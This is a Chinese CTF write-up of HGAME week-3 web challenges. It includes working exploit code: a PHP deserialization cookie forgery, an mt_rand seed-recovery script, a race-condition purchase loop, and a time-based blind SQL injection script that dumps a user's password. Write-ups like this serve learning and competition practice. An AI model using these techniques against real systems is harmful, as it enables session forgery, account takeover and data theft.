week3的难度更上一层楼。果不其然ak掉web的flag倒了,最后还是差一道题(其实是因为xss花了太多时间没做出来自闭了不想做了)总而言之收获不小,也头一次感受到高手切磋的意思。下个week估计不会再花这么多时间做题了。干脆写下欠着的笔记以及其他事吧。
序列之争 - Ordinal Scale
其实这道反序列化应该是出给这个week的签到题,可惜自己太菜了……反序列化果然还是要好好研究一下啊。好在最后还是做出来了,而且还体会到不少反序列化的趣味性。看来是应该好好研究一番了:
首先源码提示source.zip,我们看下源码中有用的部分:
game.php(略掉无用部分)
<?php
error_reporting(0);
include_once('cardinal.php');
if(isset($_SESSION['player'])){
$playerName = $_SESSION['player'];
}else{
$playerName = $_POST['player'] ?? '';
if($playerName === '' || is_array($playerName)){
header('Location: index.php');
exit;
}
}
$game = new Game($playerName);
?>
当前排名: <?php echo($game->rank->Get());?>
经验: <?php echo($_SESSION['exp']);?>
<?php echo($game->welcomeMsg);?>
<?php echo($game->rank->Get());?>
<?php if($game->rank->Get() === 1){?>
hgame{flag_is_here}
cardinal.php
<?php
error_reporting(0);
session_start();
class Game
{
private $encryptKey = 'SUPER_SECRET_KEY_YOU_WILL_NEVER_KNOW';
public $welcomeMsg = '%s, Welcome to Ordinal Scale!';
private $sign = '';
public $rank;
public function __construct($playerName){
$_SESSION['player'] = $playerName;
if(!isset($_SESSION['exp'])){
$_SESSION['exp'] = 0;
}
$data = [$playerName, $this->encryptKey];
$this->init($data);
$this->monster = new Monster($this->sign);
$this->rank = new Rank();
}
private function init($data){
foreach($data as $key => $value){
$this->welcomeMsg = sprintf($this->welcomeMsg, $value);
$this->sign .= md5($this->sign . $value);
}
}
}
class Rank
{
private $rank;
private $serverKey; // 服务器的 Key
private $key = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
public function __construct(){
if(!isset($_SESSION['rank'])){
$this->Set(rand(2, 1000));
return;
}
$this->Set($_SESSION['rank']);
}
public function Set($no){
$this->rank = $no;
}
public function Get(){
return $this->rank;
}
public function Fight($monster){
if($monster['no'] >= $this->rank){
$this->rank -= rand(5, 15);
if($this->rank <= 2){
$this->rank = 2;
}
$_SESSION['exp'] += rand(20, 200);
return array(
'result' => true,
'msg' => '<span style="color:green;">Congratulations! You win! </span>'
);
}else{
return array(
'result' => false,
'msg' => '<span style="color:red;">You die!</span>'
);
}
}
public function __destruct(){
// 确保程序是跑在服务器上的!
$this->serverKey = $_SERVER['key'];
if($this->key === $this->serverKey){
$_SESSION['rank'] = $this->rank;
}else{
// 非正常访问
session_start();
session_destroy();
setcookie('monster', '');
header('Location: index.php');
exit;
}
}
}
class Monster
{
private $monsterData;
private $encryptKey;
public function __construct($key){
$this->encryptKey = $key;
if(!isset($_COOKIE['monster'])){
$this->Set();
return;
}
$monsterData = base64_decode($_COOKIE['monster']);
if(strlen($monsterData) > 32){
$sign = substr($monsterData, -32);
$monsterData = substr($monsterData, 0, strlen($monsterData) - 32);
if(md5($monsterData . $this->encryptKey) === $sign){
$this->monsterData = unserialize($monsterData);
}else{
session_start();
session_destroy();
setcookie('monster', '');
header('Location: index.php');
exit;
}
}
$this->Set();
}
public function Set(){
$monsterName = ['无名小怪', 'BOSS: The Kernal Cosmos', '小怪: Big Eggplant', 'BOSS: The Mole King', 'BOSS: Zero Zone Witch'];
$this->monsterData = array(
'name' => $monsterName[array_rand($monsterName, 1)],
'no' => rand(1, 2000),
);
$this->Save();
}
public function Get(){
return $this->monsterData;
}
private function Save(){
$sign = md5(serialize($this->monsterData) . $this->encryptKey);
setcookie('monster', base64_encode(serialize($this->monsterData) . $sign));
}
}
三个整齐的类,显然是php反序列化了。首先整理下思路,我们输入名字后开始游戏,这时只要$game->rank->Get() === 1
即可拿到flag。那么首先跟随下流程吧。
重点先放在cardinal.php上。输入名字后,会实例化Game对象,而在Game类中,先后实例化Monster类与Rank类对象。其中monster类的实例化用到了一个init()
函数。重点关注下这段代码
private function init($data){
foreach($data as $key => $value){
$this->welcomeMsg = sprintf($this->welcomeMsg, $value);
$this->sign .= md5($this->sign . $value);
}
}
这里的sprintf()
函数可以利用。由于sprintf()作用是将格式化字符串写入变量中,第一次循环$playername
有值,则将值写入%s,循环结束,如果循环的是%s则进入下一次循环。所以所谓的$encryptkey
可以直接得到。输入名字为%s即可。
这点是郁师傅提到,ddctf2019 web签到中出现过,包括下面一部分也跟那道题有关,所以我才能绕过这点。
接着注意到下面,在循环过后,我们的循环结果$value
经过了一次MD5,用于monster的实例化了。那么跟进monster类,发现重要代码
$monsterData = base64_decode($_COOKIE['monster']);
if(strlen($monsterData) > 32){
$sign = substr($monsterData, -32);
$monsterData = substr($monsterData, 0, strlen($monsterData) - 32);
if(md5($monsterData . $this->encryptKey) === $sign){
$this->monsterData = unserialize($monsterData);
}else{
session_start();
session_destroy();
setcookie('monster', '');
header('Location: index.php');
exit;
}
}
原来monster是作为cookie被存储起来的,且只要我们的monstercookie满足条件,就有一个反序列化利用。所以关注下monoster的cookie的存储方式
private function Save(){
$sign = md5(serialize($this->monsterData) . $this->encryptKey);
setcookie('monster', base64_encode(serialize($this->monsterData) . $sign));
}
了解到加密方式,就明白了我们的反序列化生效方法了:我们输入名字后,伪造cookie,从而执行反序列化使Rank类中的$rank
为1,拿到flag。
所以exp如下,注意monster类中的$encryptley
不是Game类中的的key。而是经过名字foreach后又md5了一下,传进Monster类中的;另外Rank类中的_destruct()
也要绕过啊。我直接把destruct类扔掉后忘记改_construct()
hh
<?php
class Rank
{
private $rank = 1;
private $serverKey;
private $key;
public function __construct()
{
$this->key = &$this->serverKey;
}
}
$Game_encryptKey = 'gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL';
$Game_data = ['byc_404', $Game_encryptKey];
$Monster_encryptKey = '';
foreach($Game_data as $key => $value)
{
$Monster_encryptKey .= md5($Monster_encryptKey . $value);
}
$a = new Rank();
$sign = md5(serialize($a) . $Monster_encryptKey);
$cookie = base64_encode(serialize($a) . $sign);
echo $cookie;
二发入魂!
有一说一,虽然这题第11个做出来挺高兴的,但是基本没啥收获。题目描述也不清楚,漏洞利用有点鸡肋,做题时完全化身脚本小子。总而言之不知道出题人的意图是啥,web题不该是这种类型的吧。
首先判断漏洞类型。进入页面发现抽卡数与cdkey这两个提交框。抽卡时会出现一大串随机数。cdkey没说明要提交啥。提交时会说明值错误或者慢于2s。
打开源码发现提示php5,可以联想到是php5伪随机数漏洞(实际上各个版本的php都有这一漏洞,只不过5与7有区别)。之前在GWCTF上曾经作为web签到题做过,是关于mt_rand()
这一函数的。
漏洞即在于随机数钟子设定时,产生的随机数序列是固定的。故可以根据随机数序列倒推种子或者根据种子去推随机数序列。常常用以下代码测试:
mt_srand(123);
for($i=0;$i<3;$i++){
echo mt_rand()." ";
}
具体破解方法主要靠工具,即php_mt_seed
,估记都用过。可以根据一个数倒推出各个php版本下的随机数种子。但是问题在于题目的种子显然是动态更新的,且基本不超过2s。相比GWCTF只跟session有关的静态种子,本题的更新速度迫使我们只能靠脚本解决。
果断上google找相关文章,这篇文章吸引到我的注意:https://www.ambionics.io/blog/php-mt-rand-prediction
文章的副标题说明,可以只通过两个值且并非暴力破解的方式得到种子。于是读了下文章,发现读不懂,纯算法层面。好在给出了脚本
https://github.com/ambionics/mt_rand-reverse
及使用方法
里面一个php脚本用于生成随机数,其中两个参数一个为种子,另一个为偏移量,如果offset
设为0,则输出的是以输入种子生成的第1个和第228个随机数;python脚本用于解随机数,共四个参数,前面php脚本生成的两个随机数,一个偏移量同上,加上一个值为0/1的用于判别php版本的参数。0为php5,1为php7
所以我尝试拿本地的一组数据在虚拟机里试下,发现很快能拿到结果种子123,
python3 reverse_mt_rand.py 644748169 126568735 0 0
可能就是我要的脚本。
所以思路如下,在脚本中给抽卡次数传为228,获取第一个和第227个随机数,传给脚本,另两个参数直接设为0 0
执行,结果开始翻车。主要是自己不熟悉os库吧,想要直接在一个脚本里调用另一个脚本,虽然结果是对的但就是拿不到flag。于是直接改这个解密脚本
(主要是把main()
改成返回int值,原本是直接print
的)。
import random
import requests
import re
import time
time_start=time.time()
url = 'https://twoshot.hgame.n3ko.co/random.php?times=228'
url1 = 'https://twoshot.hgame.n3ko.co/verify.php'
s = requests.session()
res = s.get(url)
key = res.text
key = key.replace('[', '')
key = key.replace(']', ',')
ans = re.findall(r'(.*?)\,', key)
arg1=ans[0]
arg2=ans[227]
print(arg1)
print(arg2)
#以下为原脚本
N = 624
M = 397
MAX = 0xffffffff
MOD = MAX + 1
# STATE_MULT * STATE_MULT_INV = 1 (mod MOD)
STATE_MULT = 1812433253
STATE_MULT_INV = 2520285293
MT_RAND_MT19937 = 1
MT_RAND_PHP = 0
def php_mt_initialize(seed):
"""Creates the initial state array from a seed.
"""
state = [None] * N
state[0] = seed & 0xffffffff;
for i in range(1, N):
r = state[i - 1]
state[i] = (STATE_MULT * (r ^ (r >> 30)) + i) & MAX
return state
def undo_php_mt_initialize(s, p):
"""From an initial state value `s` at position `p`, find out seed.
"""
# We have:
# state[i] = (1812433253U * ( state[i-1] ^ (state[i-1] >> 30) + i )) % 100000000
# and:
# (2520285293 * 1812433253) % 100000000 = 1 (Modular mult. inverse)
# => 2520285293 * (state[i] - i) = ( state[i-1] ^ (state[i-1] >> 30) ) (mod 100000000)
for i in range(p, 0, -1):
s = _undo_php_mt_initialize(s, i)
return s
def _undo_php_mt_initialize(s, i):
s = (STATE_MULT_INV * (s - i)) & MAX
return s ^ s >> 30
def php_mt_rand(s1):
"""Converts a merged state value `s1` into a random value, then sent to the
user.
"""
s1 ^= (s1 >> 11)
s1 ^= (s1 << 7) & 0x9d2c5680
s1 ^= (s1 << 15) & 0xefc60000
s1 ^= (s1 >> 18)
return s1
def undo_php_mt_rand(s1):
"""Retrieves the merged state value from the value sent to the user.
"""
s1 ^= (s1 >> 18)
s1 ^= (s1 << 15) & 0xefc60000
s1 = undo_lshift_xor_mask(s1, 7, 0x9d2c5680)
s1 ^= s1 >> 11
s1 ^= s1 >> 22
return s1
def undo_lshift_xor_mask(v, shift, mask):
"""r s.t. v = r ^ ((r << shift) & mask)
"""
for i in range(shift, 32, shift):
v ^= (bits(v, i - shift, shift) & bits(mask, i, shift)) << i
return v
def bits(v, start, size):
return lobits(v >> start, size)
def lobits(v, b):
return v & ((1 << b) - 1)
def bit(v, b):
return v & (1 << b)
def bv(v, b):
return bit(v, b) >> b
def php_mt_reload(state, flavour):
s = state
for i in range(0, N - M):
s[i] = _twist_php(s[i + M], s[i], s[i + 1], flavour)
for i in range(N - M, N - 1):
s[i] = _twist_php(s[i + M - N], s[i], s[i + 1], flavour)
def _twist_php(m, u, v, flavour):
"""Emulates the `twist` and `twist_php` #defines.
"""
mask = 0x9908b0df if (u if flavour == MT_RAND_PHP else v) & 1 else 0
return m ^ (((u & 0x80000000) | (v & 0x7FFFFFFF)) >> 1) ^ mask
def undo_php_mt_reload(S000, S227, offset, flavour):
# define twist_php(m,u,v) (m ^ (mixBits(u,v)>>1) ^ ((uint32_t)(-(int32_t)(loBit(u))) & 0x9908b0dfU))
# m S000
# u S227
# v S228
X = S000 ^ S227
# This means the mask was applied, and as such that S227's LSB is 1
s22X_0 = bv(X, 31)
# remove mask if present
if s22X_0:
X ^= 0x9908b0df
# Another easy guess
s227_31 = bv(X, 30)
# remove bit if present
if s227_31:
X ^= 1 << 30
# We're missing bit 0 and bit 31 here, so we have to try every possibility
s228_1_30 = (X << 1)
for s228_0 in range(2):
for s228_31 in range(2):
if flavour == MT_RAND_MT19937 and s22X_0 != s228_0:
continue
s228 = s228_0 | s228_31 << 31 | s228_1_30
# Check if the results are consistent with the known bits of s227
s227 = _undo_php_mt_initialize(s228, 228 + offset)
if flavour == MT_RAND_PHP and bv(s227, 0) != s22X_0:
continue
if bv(s227, 31) != s227_31:
continue
# Check if the guessed seed yields S000 as its first scrambled state
rand = undo_php_mt_initialize(s228, 228 + offset)
state = php_mt_initialize(rand)
php_mt_reload(state, flavour)
if not (S000 == state[offset]):
continue
return rand
return None
def main(_R000, _R227, offset, flavour):
# Both were >> 1, so the leftmost byte is unknown
_R000 <<= 1
_R227 <<= 1
for R000_0 in range(2):
for R227_0 in range(2):
R000 = _R000 | R000_0
R227 = _R227 | R227_0
S000 = undo_php_mt_rand(R000)
S227 = undo_php_mt_rand(R227)
seed = undo_php_mt_reload(S000, S227, offset, flavour)
if seed:
return seed
seed=main(int(arg1), int(arg2), 0, 0)
print(seed)
data={
'ans':seed
}
res1=s.post(url1,data)
print(res1.text)
time_end=time.time()
print('totally cost',time_end-time_start)
为了方便我加了个计时器输出运行时间,可是貌似时间约0.3s左右时也没拿到flag。好在自己没放弃一直试,后面脚本运行时间差不多一直为0.18s左右时拿到flag了。可能一开始自己内存跑太满了吧……
ps:我错了。后来才发现这个洞很有用处。因为很多cms的cookie是直接mt_rand()
生成的。所以伪造cookie是一种妙招
Cosmos的二手市场
有些丢脸。能做出来是靠师傅的提示。之前最大的问题主要在于没有辨析出漏洞所在,因此不好下手。像这类买卖东西的题目,我自己的认识主要来源于hackergame2019的达拉崩吧大冒险。当时里面漏洞之处在于自己的战斗力可以为负数,所以引申出负溢出。而这道题开始我也当成负溢出了,实际上是个多线程,或许叫条件竞争更为准确。
用burp重复发包卖东西,同时自己用python脚本不断买东西。只要burp的线程数快于python的,就可以保证金钱数在增加。
pyhton脚本
import requests
import time
url='http://121.36.88.65:9999//API/?method=buy'
cookies={'PHPSESSID':'d0ov3vsd1hpjjf8ofuakhacd0n'}
headers={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0'
}
payload={
'code': '800002',
'amount': '30'
}
for i in range(1,1000000):
res=requests.post(url,data=payload,cookies=cookies,headers=headers)
time.sleep(0.6)
比较菜,多线程忘光了,所以直接每次for循环用后sleep()
一下。
burp直接重复发包:
最后多跑几遍,钱数够了后拿到flag
Cosmos的留言板-2
有点坑。题目坑不在难度上,主要是环境太差了,估计几个人一起注就要出问题。好在联系出题人重启了两遍总算能做了,毕竟都是用的学生机,能理解的。
首先是找漏洞。题目名称明显是week2留言板的后续,也就是说多半是sql注入。开始进去一个登录框,提供了注册功能。所以先注册一个账号登进去。期间容易发现对用户名的过滤很严格;进去后发现一个留言板。通常留言板多半是xss或者sql注入了吧。于是尝试留几个言。发现都不行。这时注意到一个删除功能,点击删除功能时出现的url是这样的:
index.php?method=delete&delete_id=1101
开始我的第一想法是这样的:(参考网上搜到的文章:https://juejin.im/entry/5c11e35b51882530e46188ed
)
这道题目难度显然要高不少,但给我很大启发。其注入点在于删除操作中的语句
$result = $conn->query("delete from note where id=$id and user='$user'");
其中$user
是可注的。所以那道题目在执行删除操作时就可以触发已经注入的名字,引起二次注入。这也是我开始对留言板这题的判断:二次注入。但是尝试注册时发现过滤的实在是太多了,基本不可能注册一个sql语句,看来是在其他地方可注。
之后又重新注意到上面提到的删除语句,发现一件事,当我在burp里不改变delete_id
重复发包时,结果都显示的删除成功。也就是说,这个操作并没有真正删掉我们的语句。仔细FUZZ的话,发现只要id传数字,任何数字都不会报错。判断是数值型注入。
但是回显就很难受了,尝试
delete_id=1 and 1=1
delete_id=1 and 1=2
的回显都是删除成功。这就不太妙了。而且经过FUZZ后并没有过滤掉关键字。只能尝试盲注,而且是时间盲注。
这里吐槽下题目,自己做时题目的id已经五千多,删除操作每次都贼卡。我用脚本测试时间盲注最简单的语句
delete_id=if(length(database())<100,sleep(5),1)
都没有延迟,一度让我怀疑这个参数是否可注了。然而同样的payload第二天早上跑(估计因为做题的人这时候并不多)就测出有延时。难受,浪费了我好长时间自我怀疑。
所以贴下脚本吧,题目对关键字并没有过滤,唯一的问题就是环境不好,每次跑都跑不出完整结果。只有最后一次叫出题人重启环境时才成功跑出每一个字符。
import requests
flag=''
cookies={
'PHPSESSID':'f9nl4jl987d07pisnq508o1kg7'
}
for i in range(1,40):
print(i)
for j in range(32,128):
url = "http://139.199.182.61:19999/index.php?method=delete&delete_id=if(ascii(substr((select group_concat(password) from user),"+str(i)+",1))="+str(j)+",sleep(10),1)"
#if(length(database())="+str(i)+",sleep(6),1)" 7
#if(ascii(substr(database(),1,1))="+str(i)+",sleep(6),1) babysql
#if(ascii(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()),"+str(i)+",1))="+str(j)+",sleep(6),1) messages , user
#if(ascii(substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='messages'),"+str(i)+",1))="+str(j)+",sleep(6),1) message-id ,user-id,message
#if(ascii(substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='user'),"+str(i)+",1))="+str(j)+",sleep(6),1) id, name,password
#if(ascii(substr((select group_concat(name) from user),"+str(i)+",1))="+str(j)+",sleep(6),1) cosmos,
# if(ascii(substr((select group_concat(password) from user),"+str(i)+",1))="+str(j)+",sleep(6),1) f1FXOCnj26Fkadzt4Sqynf6O7CgR
try:
result = requests.get(url, cookies=cookies, timeout=10)
except requests.exceptions.ReadTimeout:
flag+=chr(j)
print(flag)
break
开始都是sleep(6)
也能注,后来不得不调整到sleep(10)
才好转了。总之题目是比较基本的时间盲注,但我估计很多人因为环境本来可以做的最后都不得不放弃。最后是注出user表里的cosmos跟密码,登录即可。